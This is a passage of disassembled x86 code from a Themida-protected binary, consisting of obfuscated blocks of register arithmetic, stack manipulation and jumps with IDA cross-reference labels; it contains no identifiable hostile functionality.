add esp, 4
or esi, 68AF11EAh
and esi, 1874479Eh
jmp loc_556B51
; ---------------------------------------------------------------------------
loc_559FB4: ; CODE XREF: Themida_:0055BCE6j
push ebx
push 3F406E85h
jmp loc_5621F5
; ---------------------------------------------------------------------------
loc_559FBF: ; CODE XREF: Themida_:00557593j
shl ebp, 6
or ebp, 9CD41A1h
sub ebp, 2A2D6839h
xor ebp, 2A1D4AFAh
jmp loc_55925D
; ---------------------------------------------------------------------------
loc_559FD9: ; CODE XREF: Themida_:005645C7j
add eax, edi
pop edi
sub eax, 1A3A6487h
sub eax, edx
jmp loc_555C80
; ---------------------------------------------------------------------------
loc_559FE8: ; CODE XREF: Themida_:00553A5Dj
mov [esp], ebp
mov ebp, 1E7A41CBh
jmp loc_5649B2
; ---------------------------------------------------------------------------
loc_559FF5: ; CODE XREF: Themida_:0055E78Dj
push 5A36h
jmp loc_551BFE
; ---------------------------------------------------------------------------
loc_559FFF: ; CODE XREF: Themida_:005546F5j
mov ebx, 64783F31h
sub [esp+4], ebx
pop ebx
pop eax
add eax, 64783F31h
pop esi
sub ebx, 37E3707Ah
add ebx, eax
add ebx, 37E3707Ah
jmp loc_557734
; ---------------------------------------------------------------------------
loc_55A023: ; CODE XREF: Themida_:005514A4j
add ebx, ecx
sub ebx, 27807E9Dh
sub ebx, 163B5452h
mov ecx, [esp]
add esp, 4
xchg ebx, [esp]
mov esp, [esp]
jmp loc_55E789
; ---------------------------------------------------------------------------
loc_55A045: ; CODE XREF: Themida_:005532A8j
mov ebp, 64BEA893h
jmp loc_55EA85
; ---------------------------------------------------------------------------
loc_55A04F: ; CODE XREF: Themida_:005517BEj
mov esi, [esp]
add esp, 4
jmp loc_560592
; ---------------------------------------------------------------------------
loc_55A05D: ; CODE XREF: Themida_:00557F70j
not esi
dec esi
and esi, 4BD01F81h
add esi, 0A211CCh
xor esi, 52F88340h
jmp loc_562413
; ---------------------------------------------------------------------------
mov cx, [esp]
push 3A52h
mov [esp], ebp
push esp
push dword ptr [esp]
jmp loc_563990
; ---------------------------------------------------------------------------
loc_55A08C: ; CODE XREF: Themida_:0055A4B0j
add edx, 4
jmp loc_55B783
; ---------------------------------------------------------------------------
loc_55A097: ; CODE XREF: Themida_:00561A9Bj
mov ebx, [esp]
push ebp
mov ebp, esp
push ecx
jmp loc_560449
; ---------------------------------------------------------------------------
loc_55A0A3: ; CODE XREF: Themida_:00552E08j
add ecx, 4
xchg ecx, [esp]
pop esp
push ebp
jmp loc_561CAD
; ---------------------------------------------------------------------------
loc_55A0B3: ; CODE XREF: Themida_:00553DB4j
shr ebx, 4
push ebp
mov ebp, 5FA850FFh
inc ebp
sub ebp, 3AE73CD3h
xor ebp, 7923140Eh
sub ebp, 5291E923h
xor ebx, ebp
pop ebp
jmp loc_564FA7
; ---------------------------------------------------------------------------
mov cx, [esp]
sub esp, 4
mov [esp], eax
push 3FEAh
mov [esp], esp
add dword ptr [esp], 4
pop eax
jmp loc_563E4E
; ---------------------------------------------------------------------------
loc_55A0F9: ; CODE XREF: Themida_:00560955j
push ecx
mov ecx, esp
jmp loc_55E11C
; ---------------------------------------------------------------------------
loc_55A101: ; CODE XREF: Themida_:00563B1Fj
add edi, esi
pop esi
xchg edi, [esp]
pop esp
add dh, 0FFh
push ecx
mov ch, 13h
and ch, 7Ah
push eax
mov ah, 0FCh
sub ch, ah
pop eax
jmp loc_55E82B
; ---------------------------------------------------------------------------
loc_55A11C: ; CODE XREF: Themida_:005633CFj
mov [esp], edi
mov edi, 6C96D67h
jmp loc_56360E
; ---------------------------------------------------------------------------
loc_55A129: ; CODE XREF: Themida_:0055B191j
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
jmp loc_559DFF
; ---------------------------------------------------------------------------
loc_55A13B: ; CODE XREF: Themida_:00564C95j
pop edi
xchg eax, [esp]
pop esp
btr [esp], ax
pushf
jmp loc_550420
; ---------------------------------------------------------------------------
loc_55A14B: ; CODE XREF: Themida_:0056068Fj
not edx
add edx, 88C76884h
not edx
sub edx, 63CAB57Dh
mov ecx, edx
pop edx
push edi
mov edi, 5F4516B5h
add edi, 4A002680h
jmp loc_564ACF
; ---------------------------------------------------------------------------
loc_55A16F: ; CODE XREF: Themida_:005581E5j
add edi, 4
jmp loc_552E95
; ---------------------------------------------------------------------------
loc_55A17A: ; CODE XREF: Themida_:00555B5Ej
mov edi, [esp]
push edx
mov edx, esp
jmp loc_55C1D6
; ---------------------------------------------------------------------------
loc_55A185: ; CODE XREF: Themida_:00563983j
xor ecx, esi
pop esi
push ecx
sub dword ptr [esp], 2A5D4E5Dh
pop ebp
add ebp, 2A5D4E5Dh
jmp loc_565412
; ---------------------------------------------------------------------------
loc_55A19C: ; CODE XREF: Themida_:005528A2j
mov eax, [esp]
push esi
mov esi, esp
jmp loc_5530FE
; ---------------------------------------------------------------------------
loc_55A1A7: ; CODE XREF: Themida_:0055978Ej
mov ebx, 0A1AD982h
sub esi, ebx
pop ebx
sub ebx, esi
pop esi
push dword ptr [esp]
pop ebp
add esp, 4
or edi, ebx
pop ebx
and edi, 408C1A97h
sub edi, 0FFFFFFFFh
jmp loc_55E43D
; ---------------------------------------------------------------------------
loc_55A1CA: ; CODE XREF: Themida_:005533FEj
mov esi, 7F241594h
sub esi, 49190469h
jmp loc_551167
; ---------------------------------------------------------------------------
loc_55A1DA: ; CODE XREF: Themida_:0055FF5Fj
sub ebp, 74E13A9Dh
jmp loc_55C37E
; ---------------------------------------------------------------------------
loc_55A1E5: ; CODE XREF: Themida_:00556691j
mov [esp], esi
jmp loc_558466
; ---------------------------------------------------------------------------
loc_55A1ED: ; CODE XREF: Themida_:0055DF8Ej
pop esi
sub ebx, 4
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
pop esp
mov [esp], esi
sub esp, 4
jmp loc_550BF6
; ---------------------------------------------------------------------------
loc_55A206: ; CODE XREF: Themida_:00558F83j
sub ebp, 59406CE2h
add ebp, 0DE053E8h
sub edx, ebp
jmp loc_55C7F9
; ---------------------------------------------------------------------------
loc_55A219: ; CODE XREF: Themida_:00559C23j
and ebx, 25BE14F3h
neg ebx
or ebx, 22175BD6h
xor ebx, 0C2E1ABDFh
sub eax, ebx
pop ebx
sub eax, edx
add eax, 3DB65009h
jmp loc_55CD65
; ---------------------------------------------------------------------------
loc_55A23C: ; CODE XREF: Themida_:00556FDEj
xchg ebp, [esp]
pop esp
jmp loc_556E3D
; ---------------------------------------------------------------------------
loc_55A245: ; CODE XREF: Themida_:005569DDj
mov [esp], edx
push ecx
push edi
mov edi, 7CCC21D8h
sub [esp+4], edi
pop edi
mov edx, [esp]
push eax
jmp loc_561B36
; ---------------------------------------------------------------------------
loc_55A25D: ; CODE XREF: Themida_:0056092Aj
pop edx
mov al, bl
mov bx, [esp]
push edx
push esp
pop edx
add edx, 4
add edx, 2
xchg edx, [esp]
pop esp
xor al, bl
xor bl, al
jmp loc_55FA5B
; ---------------------------------------------------------------------------
loc_55A27D: ; CODE XREF: Themida_:00563475j
add ebp, eax
mov eax, [esp]
add esp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
push esi
mov esi, esp
jmp loc_56109E
; ---------------------------------------------------------------------------
loc_55A297: ; CODE XREF: Themida_:0055B7E0j
mov esp, [esp]
jmp loc_551D4D
; ---------------------------------------------------------------------------
loc_55A29F: ; CODE XREF: Themida_:00563B07j
sub edi, ecx
pop ecx
sub ebx, edi
pop edi
jmp loc_555F8A
; ---------------------------------------------------------------------------
loc_55A2AA: ; CODE XREF: Themida_:0055E348j
pop edx
and edx, 51326743h
push eax
push 413E6503h
pop eax
add edx, eax
push dword ptr [esp]
pop eax
add esp, 4
add edx, 0B3C236Dh
xor edx, 8C8C8E73h
sub eax, edx
pop edx
inc eax
neg eax
shl eax, 6
sub eax, 69F1C13Ch
add edx, eax
pop eax
xchg edx, [esp]
pop esp
push 7885h
mov [esp], edx
push esi
mov esi, 68DD0E76h
mov edx, 0E8108E64h
sub edx, esi
pop esi
shr edx, 4
shl edx, 4
dec edx
push edi
jmp loc_550663
; ---------------------------------------------------------------------------
loc_55A305: ; CODE XREF: Themida_:0055284Cj
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
shr word ptr [esp], cl
pushf
jmp loc_550420
; ---------------------------------------------------------------------------
loc_55A318: ; CODE XREF: Themida_:00565432j
add eax, ebp
push edx
jmp loc_55F705
; ---------------------------------------------------------------------------
loc_55A320: ; CODE XREF: Themida_:0055C7E2j
xchg ebx, [esp]
pop esp
jmp loc_550420
; ---------------------------------------------------------------------------
loc_55A329: ; CODE XREF: Themida_:0055B36Dj
push esi
push 775530F5h
jmp loc_561B16
; ---------------------------------------------------------------------------
loc_55A334: ; CODE XREF: Themida_:00556727j
sub ecx, 0FFFFFFFFh
add ecx, 0FFFFFFFFh
push edx
push esp
pop edx
add edx, 4
sub edx, 4
xchg edx, [esp]
pop esp
mov [esp], edx
jmp loc_564800
; ---------------------------------------------------------------------------
loc_55A355: ; CODE XREF: Themida_:00553758j
and ecx, 53CC2BD4h
or ecx, 75D098Ch
or ecx, 5BF5238Fh
xor ecx, 54B20FB9h
push ebp
jmp loc_56407B
; ---------------------------------------------------------------------------
loc_55A373: ; CODE XREF: Themida_:00560F16j
add edx, 4
add edx, 4
jmp loc_55A67A
; ---------------------------------------------------------------------------
loc_55A384: ; CODE XREF: Themida_:00564349j
add esi, 80F615h
add ecx, esi
pop esi
sub ecx, 4
xor ecx, [esp]
xor [esp], ecx
jmp loc_55AF24
; ---------------------------------------------------------------------------
loc_55A39E: ; CODE XREF: Themida_:0055D02Cj
pop ebp
xor ebx, 0D4C54798h
mov edx, ebx
jmp loc_551F02
; ---------------------------------------------------------------------------
loc_55A3AC: ; CODE XREF: Themida_:00559566j
mov eax, [esp]
push edi
mov edi, esp
push esi
mov esi, 4
add edi, esi
pop esi
add edi, 4
jmp loc_564C4E
; ---------------------------------------------------------------------------
loc_55A3C3: ; CODE XREF: Themida_:005526E7j
mov ebp, esp
jmp loc_55DBB8
; ---------------------------------------------------------------------------
loc_55A3CA: ; CODE XREF: Themida_:00553459j
push dword ptr [esp]
jmp loc_5586CF
; ---------------------------------------------------------------------------
loc_55A3D2: ; CODE XREF: Themida_:0056488Ej
mov ebx, 95CA457Bh
jmp loc_559D03
; ---------------------------------------------------------------------------
loc_55A3DC: ; CODE XREF: Themida_:00558E02j
sub eax, edx
pop edx
xor eax, 52849D6h
sub edi, eax
pop eax
sub edi, 0DB29A046h
jmp loc_55A949
; ---------------------------------------------------------------------------
loc_55A3F2: ; CODE XREF: Themida_:00559BF4j
mov ch, 1
add dl, ch
pop cx
jmp loc_5644E1
; ---------------------------------------------------------------------------
loc_55A3FD: ; CODE XREF: Themida_:00553DA1j
push edi
mov edi, esp
add edi, 4
sub edi, 4
jmp loc_55B138
; ---------------------------------------------------------------------------
loc_55A411: ; CODE XREF: Themida_:00551E86j
push esp
jmp loc_55B5ED
; ---------------------------------------------------------------------------
loc_55A417: ; CODE XREF: Themida_:00558078j
push 7AE2h
mov [esp], edx
push ecx
push eax
mov ah, bh
mov cl, ah
pop eax
mov dl, cl
jmp loc_561771
; ---------------------------------------------------------------------------
loc_55A42D: ; CODE XREF: Themida_:005653A3j
mov ebx, esi
mov esi, [esp]
add esp, 4
push eax
jmp loc_557488
; ---------------------------------------------------------------------------
loc_55A43B: ; CODE XREF: Themida_:00562A4Ej
pop esp
push 60ABh
jmp loc_55D920
; ---------------------------------------------------------------------------
loc_55A446: ; CODE XREF: Themida_:00561170j
pop edi
jmp loc_563A11
; ---------------------------------------------------------------------------
loc_55A44C: ; CODE XREF: Themida_:005579BEj
mov dx, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 2
xchg ebx, [esp]
pop esp
push small 7858h
mov [esp], cx
push edx
mov dh, 1Dh
mov ch, 35h
sub ch, dh
pop edx
jmp loc_56122C
; ---------------------------------------------------------------------------
loc_55A478: ; CODE XREF: Themida_:005614DBj
xor edx, [esp]
pop esp
push ebx
push esp
mov ebx, [esp]
add esp, 4
add ebx, 4
sub ebx, 4
jmp loc_55C9B0
; ---------------------------------------------------------------------------
loc_55A495: ; CODE XREF: Themida_:0055901Ej
pop eax
dec eax
jmp loc_5573A0
; ---------------------------------------------------------------------------
loc_55A49C: ; CODE XREF: Themida_:005631A5j
xor ah, 8Fh
jmp loc_563402
; ---------------------------------------------------------------------------
loc_55A4A4: ; CODE XREF: Themida_:005569E5j
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
mov esp, [esp]
jmp loc_55A08C
; ---------------------------------------------------------------------------
loc_55A4B5: ; CODE XREF: Themida_:00551B44j
sub dh, 7Bh
jmp loc_558043
; ---------------------------------------------------------------------------
loc_55A4BD: ; CODE XREF: Themida_:00565BB8j
mov esi, esp
push ebp
mov ebp, 4
add esi, ebp
jmp loc_552E4F
; ---------------------------------------------------------------------------
loc_55A4CC: ; CODE XREF: Themida_:00558B5Fj
add esp, 4
xor esi, 7AEE9512h
jmp loc_55B9A6
; ---------------------------------------------------------------------------
loc_55A4DA: ; CODE XREF: Themida_:005568F3j
sub al, 0Fh
jmp loc_556A1F
; ---------------------------------------------------------------------------
loc_55A4E1: ; CODE XREF: Themida_:00553638j
mov esp, [esp]
shr eax, 0Eh
xor eax, ecx
push 6FAh
jmp loc_563835
; ---------------------------------------------------------------------------
loc_55A4F3: ; CODE XREF: Themida_:005567A8j
xchg edx, esi
xchg ebx, edx
push ebx
not dword ptr [esp]
pop ebx
xchg ebx, edx
xchg edx, esi
not esi
sub esi, 38881D98h
add ebx, esi
jmp loc_5626CA
; ---------------------------------------------------------------------------
loc_55A50F: ; CODE XREF: Themida_:0055EBD8j
sub ebx, ecx
pop ecx
and ebx, 7BB35667h
push ecx
mov ecx, 0F2EEDDF5h
sub ebx, ecx
jmp loc_55675F
; ---------------------------------------------------------------------------
loc_55A525: ; CODE XREF: Themida_:0055589Ej
add eax, ebx
pop ebx
jmp loc_55E772
; ---------------------------------------------------------------------------
loc_55A52D: ; CODE XREF: Themida_:0055188Dj
mov eax, [esp]
push ebx
mov ebx, esp
jmp loc_55102B
; ---------------------------------------------------------------------------
pop dword ptr fs:[edx]
jmp loc_550420
; ---------------------------------------------------------------------------
loc_55A540: ; CODE XREF: Themida_:0055CF8Aj
pop edi
add dword ptr [esp], 7CBE1E62h
jmp loc_553803
; ---------------------------------------------------------------------------
loc_55A54D: ; CODE XREF: Themida_:0055AF6Ej
mov [esp], edx
jmp loc_553495
; ---------------------------------------------------------------------------
loc_55A555: ; CODE XREF: Themida_:00560F81j
sub esi, 58BB15ACh
jmp loc_5596A4
; ---------------------------------------------------------------------------
loc_55A560: ; CODE XREF: Themida_:0055E71Aj
add ch, 6Dh
jmp loc_563307
; ---------------------------------------------------------------------------
loc_55A568: ; CODE XREF: Themida_:0055892Cj
xor edx, 2C6A3863h
xor edx, 64890A8Bh
xor edx, 77437B40h
and ebx, edx
pop edx
sub ebx, 12A16AE0h
xor ebx, 9DA7D1ECh
and esi, ebx
mov ebx, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
jmp loc_55CC76
; ---------------------------------------------------------------------------
loc_55A5A8: ; CODE XREF: Themida_:00563661j
and dh, 0E6h
add dh, 98h
mov ch, dh
jmp loc_5614A8
; ---------------------------------------------------------------------------
loc_55A5B5: ; CODE XREF: Themida_:0055F9F7j
shl eax, 1
push edi
push ecx
mov ecx, 257C7279h
neg ecx
inc ecx
xor ecx, 0B68FF635h
mov edi, ecx
pop ecx
or eax, edi
mov edi, [esp]
add esp, 4
and eax, 41483583h
dec eax
add eax, 0BEF7CA82h
sub ebx, 68A03A04h
jmp loc_55F2E7
; ---------------------------------------------------------------------------
loc_55A5E8: ; CODE XREF: Themida_:00564979j
push esi
push ecx
jmp loc_552EA7
; ---------------------------------------------------------------------------
loc_55A5EF: ; CODE XREF: Themida_:00556103j
sub eax, edx
jmp loc_554327
; ---------------------------------------------------------------------------
loc_55A5F6: ; CODE XREF: Themida_:0055A956j
xchg ebp, [esp]
mov esi, [esp]
add esp, 4
shr esi, 8
push esi
jmp loc_55CD81
; ---------------------------------------------------------------------------
loc_55A608: ; CODE XREF: Themida_:00558E57j
sub edx, 5EBF2FFAh
add ecx, edx
pop edx
push ebp
jmp loc_5542BF
; ---------------------------------------------------------------------------
loc_55A617: ; CODE XREF: Themida_:00556BB1j
mov [esp], ebp
push dword ptr [esp+4]
push dword ptr [esp]
pop ebp
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
pop dword ptr [esp]
mov esp, [esp]
push 58F8h
mov [esp], edx
mov edx, 533855F8h
xor eax, edx
pop edx
jmp loc_550420
; ---------------------------------------------------------------------------
loc_55A64D: ; CODE XREF: Themida_:0055C488j
push dword ptr [esp]
pop eax
push eax
mov eax, esp
add eax, 4
push ebx
jmp loc_5623CA
; ---------------------------------------------------------------------------
loc_55A65F: ; CODE XREF: Themida_:00565178j
mov ecx, 3AAB60BFh
xor ebx, ecx
jmp loc_55D489
; ---------------------------------------------------------------------------
loc_55A66B: ; CODE XREF: Themida_:00565349j
mov edi, [esp]
push eax
jmp loc_561A75
; ---------------------------------------------------------------------------
loc_55A674: ; CODE XREF: Themida_:005542BAj
pop eax
jmp loc_55B778
; ---------------------------------------------------------------------------
loc_55A67A: ; CODE XREF: Themida_:0055A37Fj
xchg edx, [esp]
pop esp
jmp loc_563327
; ---------------------------------------------------------------------------
loc_55A683: ; CODE XREF: Themida_:00558EE0j
push ecx
push small 6103h
mov [esp], bx
jmp loc_55DECC
; ---------------------------------------------------------------------------
loc_55A691: ; CODE XREF: Themida_:0055FEB8j
add esp, 4
mov ebp, esi
jmp loc_562D1B
; ---------------------------------------------------------------------------
loc_55A69E: ; CODE XREF: Themida_:0055B25Aj
pop edx
add ebx, 54573F60h
add ebx, edx
sub ebx, 54573F60h
add ebx, 510E5D6Dh
jmp loc_55164C
; ---------------------------------------------------------------------------
loc_55A6B8: ; CODE XREF: Themida_:00560B7Ej
pop eax
pop ecx
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
mov esp, [esp]
push dword ptr [esp]
push dword ptr [esp]
pop eax
push 20DBh
mov [esp], ecx
push esp
pop ecx
push ebx
mov ebx, 4
add ecx, ebx
pop ebx
sub ecx, 4
jmp loc_5614E0
; ---------------------------------------------------------------------------
loc_55A6E8: ; CODE XREF: Themida_:005643E9j
mov dh, 9Fh
add bl, dh
jmp loc_55958D
; ---------------------------------------------------------------------------
loc_55A6F1: ; CODE XREF: Themida_:00562B2Fj
sub esp, 4
mov [esp], eax
mov eax, 1CA1577Ah
add edi, eax
pop eax
jmp loc_55ECF1
; ---------------------------------------------------------------------------
loc_55A707: ; CODE XREF: Themida_:00565A82j
not esi
jmp loc_551979
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop ecx
push 7694h
mov [esp], edi
push 5918h
mov [esp], esp
add dword ptr [esp], 4
pop edi
push ebp
mov ebp, 4FD13E03h
jmp loc_562720
; ---------------------------------------------------------------------------
loc_55A732: ; CODE XREF: Themida_:005574FAj
add eax, 4
add eax, 2
push eax
push dword ptr [esp+4]
jmp loc_553C05
; ---------------------------------------------------------------------------
loc_55A746: ; CODE XREF: Themida_:0055350Dj
add bh, 33h
jmp loc_55B00C
; ---------------------------------------------------------------------------
loc_55A74E: ; CODE XREF: Themida_:00552B4Bj
mov [esp], edx
push esi
jmp loc_5533BE
; ---------------------------------------------------------------------------
loc_55A757: ; CODE XREF: Themida_:0055816Ej
push ebx
mov ebx, esp
add ebx, 4
jmp loc_55EDB6
; ---------------------------------------------------------------------------
loc_55A765: ; CODE XREF: Themida_:005567E2j
push ecx
mov ecx, 4
jmp loc_564FB5
; ---------------------------------------------------------------------------
loc_55A770: ; CODE XREF: Themida_:0055CC08j
add esp, 4
add esp, 4
mov esi, [esp]
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
jmp loc_5618AF
; ---------------------------------------------------------------------------
loc_55A790: ; CODE XREF: Themida_:00551925j
inc ebx
shl ebx, 5
jmp loc_55F87D
; ---------------------------------------------------------------------------
loc_55A799: ; CODE XREF: Themida_:00563819j
push esi
mov esi, 533C22BBh
neg esi
jmp loc_55047D
; ---------------------------------------------------------------------------
loc_55A7A6: ; CODE XREF: Themida_:00552D0Cj
mov bh, 0Dh
not bh
inc bh
or bh, 50h
sub bh, 24h
push edx
mov dl, 0DAh
inc dl
shr dl, 3
shl dl, 1
push ebx
jmp loc_5602A5
; ---------------------------------------------------------------------------
loc_55A7C2: ; CODE XREF: Themida_:00551EEAj
pop edx
pop ecx
mov bl, al
jmp loc_564513
; ---------------------------------------------------------------------------
loc_55A7CB: ; CODE XREF: Themida_:0055ED96j
xor dl, 4
jmp loc_55C410
; ---------------------------------------------------------------------------
loc_55A7D3: ; CODE XREF: Themida_:0055D761j
add esp, 4
add edx, edi
mov edi, [esp]
jmp loc_555073
; ---------------------------------------------------------------------------
loc_55A7E0: ; CODE XREF: Themida_:0055AE43j
pop ecx
add ebp, edi
pop edi
push edi
mov edi, 4
jmp loc_551E96
; ---------------------------------------------------------------------------
loc_55A7EF: ; CODE XREF: Themida_:005552F1j
xor edx, [esp]
jmp loc_5614D8
; ---------------------------------------------------------------------------
loc_55A7F7: ; CODE XREF: Themida_:00552F64j
push ecx
mov ch, 0FBh
add ch, 79h
add al, ch
pop ecx
or al, 0BBh
jmp loc_5507E7
; ---------------------------------------------------------------------------
loc_55A807: ; CODE XREF: Themida_:0056508Dj
add eax, edi
sub eax, 78F94D5Fh
jmp loc_553869
; ---------------------------------------------------------------------------
loc_55A813: ; CODE XREF: Themida_:0055EB93j
pop cx
sub esp, 4
mov [esp], esi
jmp loc_5597D7
; ---------------------------------------------------------------------------
loc_55A820: ; CODE XREF: Themida_:00556E38j
pop eax
xchg esi, [esp]
pop esp
mov [esp], ebx
mov ebx, 4
jmp loc_55E1E6
; ---------------------------------------------------------------------------
loc_55A832: ; CODE XREF: Themida_:0055EBC9j
push esi
jmp loc_5632EA
; ---------------------------------------------------------------------------
loc_55A838: ; CODE XREF: Themida_:00560F98j
add edx, edi
mov edi, [esp]
jmp loc_560D7C
; ---------------------------------------------------------------------------
loc_55A842: ; CODE XREF: Themida_:0055E152j
sub esp, 4
mov [esp], ecx
mov ecx, 4
add esi, ecx
jmp loc_55321E
; ---------------------------------------------------------------------------
loc_55A857: ; CODE XREF: Themida_:0055DA1Aj
push 517Fh
mov [esp], ebp
mov ebp, 0DDC1683h
add edx, ebp
mov ebp, [esp]
jmp loc_56388C
; ---------------------------------------------------------------------------
loc_55A86E: ; CODE XREF: Themida_:00564C49j
add esp, 4
xor al, dh
mov edx, [esp]
add esp, 4
push edx
mov dh, 0B0h
sub dh, 85h
add bl, 0F0h
sub bl, dh
sub bl, 0F0h
pop edx
sub bl, 3Dh
add bl, al
push ecx
mov ch, 7Fh
and ch, 0C0h
neg ch
jmp loc_556B31
; ---------------------------------------------------------------------------
mov ax, [esp]
push ecx
jmp loc_5526E6
; ---------------------------------------------------------------------------
loc_55A8A4: ; CODE XREF: Themida_:005507ACj
add esp, 4
sub esp, 4
jmp loc_56483E
; ---------------------------------------------------------------------------
loc_55A8B2: ; CODE XREF: Themida_:00554B22j
pop ebp
jmp loc_554AE7
; ---------------------------------------------------------------------------
loc_55A8B8: ; CODE XREF: Themida_:005616C8j
sub edx, eax
sub edx, 18A83FF1h
push ecx
mov ecx, 48297925h
add ecx, 1C6B2BAFh
add ecx, 5277399Ch
xor ecx, 0C1C6964h
or ecx, 60FA3DABh
add ecx, 6D207085h
sub edx, ecx
pop ecx
mov eax, [esp]
add esp, 4
push ebx
jmp loc_55468D
; ---------------------------------------------------------------------------
loc_55A8F3: ; CODE XREF: Themida_:0055D400j
pop eax
jmp loc_556578
; ---------------------------------------------------------------------------
loc_55A8F9: ; CODE XREF: Themida_:00555007j
add [esp+4], ebp
sub dword ptr [esp+4], 2B88194Eh
add dword ptr [esp+4], 404F5D17h
pop ebp
push dword ptr [esp]
pop eax
add esp, 4
sub esp, 4
mov [esp], edx
push ebx
mov ebx, 56F07233h
sub ebx, 4BAF45EDh
jmp loc_55F353
; ---------------------------------------------------------------------------
loc_55A932: ; CODE XREF: Themida_:00564697j
mov [esp], cx
jmp loc_550420
; ---------------------------------------------------------------------------
loc_55A93B: ; CODE XREF: Themida_:005620BDj
mov [esp], esp
jmp loc_55AC45
; ---------------------------------------------------------------------------
loc_55A943: ; CODE XREF: Themida_:00550703j
push edi
jmp loc_55E934
; ---------------------------------------------------------------------------
loc_55A949: ; CODE XREF: Themida_:0055A3EDj
sub eax, edi
jmp loc_560DAF
; ---------------------------------------------------------------------------
loc_55A950: ; CODE XREF: Themida_:00559F50j
push esi
xchg ebp, [esp]
not ebp
jmp loc_55A5F6
; ---------------------------------------------------------------------------
loc_55A95B: ; CODE XREF: Themida_:00559DBCj
not bh
add bh, 0FCh
xor bh, 0F0h
add dh, 24h
add dh, bh
sub dh, 24h
pop ebx
xor al, dh
mov edx, [esp]
add esp, 4
jmp loc_5590FA
; ---------------------------------------------------------------------------
loc_55A979: ; CODE XREF: Themida_:0055DD24j
pop esi
sub esi, 6BF344EEh
jmp loc_55059C
; ---------------------------------------------------------------------------
loc_55A985: ; CODE XREF: Themida_:00551343j
mov ebx, [esp]
add esp, 4
jmp loc_561AB8
; ---------------------------------------------------------------------------
push small word ptr [edx]
jmp loc_550420
; ---------------------------------------------------------------------------
loc_55A99B: ; CODE XREF: Themida_:005586CAj
mov [esp], edx
mov edx, 77994768h
add edi, 24B249Ah
add edi, edx
sub edi, 24B249Ah
jmp loc_55784E
; ---------------------------------------------------------------------------
loc_55A9B6: ; CODE XREF: Themida_:00551235j
add edi, 0B612B8Eh
pop esi
push esi
jmp loc_5629AE
; ---------------------------------------------------------------------------
loc_55A9C3: ; CODE XREF: Themida_:00551508j
add bl, 11h
add bl, dl
push eax
mov ah, 0E3h
xor ah, 0F2h
sub bl, ah
pop eax
pop edx
mov ecx, [esp]
push edx
push 7DCBh
mov [esp], esp
add dword ptr [esp], 4
pop edx
add edx, 4
add edx, 4
push edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
mov esp, [esp]
push ebp
push esp
mov ebp, [esp]
add esp, 4
jmp loc_55752F
; ---------------------------------------------------------------------------
loc_55AA08: ; CODE XREF: Themida_:005592B7j
add eax, edi
jmp loc_55F4A7
; ---------------------------------------------------------------------------
loc_55AA0F: ; CODE XREF: Themida_:00551026j
or ebx, 343F2991h
add ebx, 0E2E8BA73h
sub eax, ebx
pop ebx
add eax, 601E527Bh
sub eax, ebx
sub eax, 601E527Bh
jmp loc_55F7C9
; ---------------------------------------------------------------------------
loc_55AA2F: ; CODE XREF: Themida_:0055AC5Cj
mov eax, 157830CAh
shr eax, 7
neg eax
jmp loc_5597A4
; ---------------------------------------------------------------------------
loc_55AA3E: ; CODE XREF: Themida_:00555E74j
xor cl, 7Bh
mov ah, cl
pop ecx
shr ah, 1
jmp loc_5518C8
; ---------------------------------------------------------------------------
loc_55AA4B: ; CODE XREF: Themida_:0055EE21j
pop eax
push eax
mov eax, 4
add ecx, eax
pop eax
xchg ecx, [esp]
jmp loc_5563D9
; ---------------------------------------------------------------------------
loc_55AA5D: ; CODE XREF: Themida_:00564881j
and edi, 45F33DEEh
dec edi
sub edi, 9680367Fh
add ebx, edi
pop edi
push ebx
add dword ptr [esp], 88F19BCh
pop edx
sub edx, 88F19BCh
push dword ptr [esp]
pop ebx
jmp loc_5522AE
; ---------------------------------------------------------------------------
loc_55AA85: ; CODE XREF: Themida_:0055B60Ej
and edx, ebp
pop ebp
push ebx
mov ebx, 22A159D3h
xor edx, ebx
push dword ptr [esp]
pop ebx
add esp, 4
shl edx, 4
push edi
mov edi, 15292515h
push ebx
jmp loc_563598
; ---------------------------------------------------------------------------
loc_55AAA9: ; CODE XREF: Themida_:00561D1Cj
push dword ptr [esp]
pop ebx
push edx
jmp loc_55EAB0
; ---------------------------------------------------------------------------
loc_55AAB3: ; CODE XREF: Themida_:0055E5DBj
add esp, 4
mov ecx, [esp]
add esp, 4
sub bh, dl
pop dx
sub al, 94h
sub al, bh
push ebx
mov bl, 6Ah
shr bl, 2
sub bl, 9Bh
push ecx
jmp loc_5550FD
; ---------------------------------------------------------------------------
loc_55AAD9: ; CODE XREF: Themida_:0055FA36j
xor ebx, 88D6CDE5h
mov edx, ebx
pop ebx
add eax, 128C56C2h
add eax, edx
push esi
mov esi, 2CDD0C71h
or esi, 16EB3BB5h
and esi, 6B78471Ch
jmp loc_558547
; ---------------------------------------------------------------------------
loc_55AB00: ; CODE XREF: Themida_:0056327Fj
mov ebx, [esp]
add esp, 4
add ebx, 21B41A93h
jmp loc_55C106
; ---------------------------------------------------------------------------
loc_55AB14: ; CODE XREF: Themida_:005569D2j
add esp, 4
xchg eax, [esp]
mov esp, [esp]
xor edx, edx
push edx
mov edx, esp
sub esp, 4
mov [esp], ebx
mov ebx, 3085624Dh
or ebx, 10C038Ah
shl ebx, 8
jmp loc_55B0DC
; ---------------------------------------------------------------------------
loc_55AB41: ; CODE XREF: Themida_:0055197Cj
mov ebx, [esp]
push ecx
push esp
pop ecx
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_5564D8
; ---------------------------------------------------------------------------
loc_55AB59: ; CODE XREF: Themida_:0055E130j
add eax, 0B15875F7h
sub edx, eax
jmp loc_555FEB
; ---------------------------------------------------------------------------
lodsd
push 0B7Eh
mov [esp], edx
mov edx, 43AF6A7Dh
jmp loc_5517D1
; ---------------------------------------------------------------------------
